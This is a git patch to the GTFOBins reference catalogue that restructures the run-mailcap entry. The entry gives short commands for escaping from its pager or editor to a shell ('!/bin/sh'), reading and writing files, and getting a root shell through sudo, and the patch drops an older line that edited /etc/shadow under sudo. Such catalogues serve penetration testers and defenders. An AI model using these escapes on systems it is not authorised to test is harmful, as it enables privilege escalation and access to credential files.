From f111f3e2612b01ba2f86a8b5b9c7b51d15940c93 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Mon, 19 Nov 2018 14:04:01 +0100 Subject: [PATCH] Split run-mailcap into functions Close #34. --- _gtfobins/run-mailcap.md | 21 ++++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) diff --git a/_gtfobins/run-mailcap.md b/_gtfobins/run-mailcap.md index 1fa1dab..bef9886 100644 --- a/_gtfobins/run-mailcap.md +++ b/_gtfobins/run-mailcap.md @@ -1,7 +1,22 @@ --- functions: + shell: + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: | + run-mailcap --action=view /etc/hosts + !/bin/sh + file-read: + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: run-mailcap --action=view file_to_read + file-write: + - description: | + The file must exist and be not empty. + + This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply. + code: run-mailcap --action=edit file_to_read sudo: - - code: | - sudo run-mailcap --action=edit /etc/shadow - :shell + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: | + sudo run-mailcap --action=view /etc/hosts + !/bin/sh ---